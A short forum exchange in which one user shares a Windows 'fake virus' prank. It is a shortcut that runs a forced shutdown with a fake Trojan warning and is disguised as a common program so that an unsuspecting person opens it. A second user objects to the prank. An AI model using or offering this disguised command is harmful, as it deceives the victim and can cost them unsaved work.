  1. Windows Only

    I created this funny little fake virus, dont worry, all it does is shutdown the computer.
    On your desktop,right click go to new go to shortcut and type in this
    as the location (or copy and paste)
    Code:
    shutdown -s -t 60 -c "Windows has detcted several viruses and must shutdown to protect vital files. Trojan:Risk-High" -f
    Name it as a regularly used program. EG) Internet Explorer.
    And change the Icon to suit.
    Leave it so a unsuspecting fool will believe that he has killed the computer.
    :haha: :evil:
    You can also make the computer instantly shutdown by removing the 60 and replacing it with 0.​

    Excuse me if I don`t see the funny side of this.

    Techspot is all about solving computer problems, not creating them.
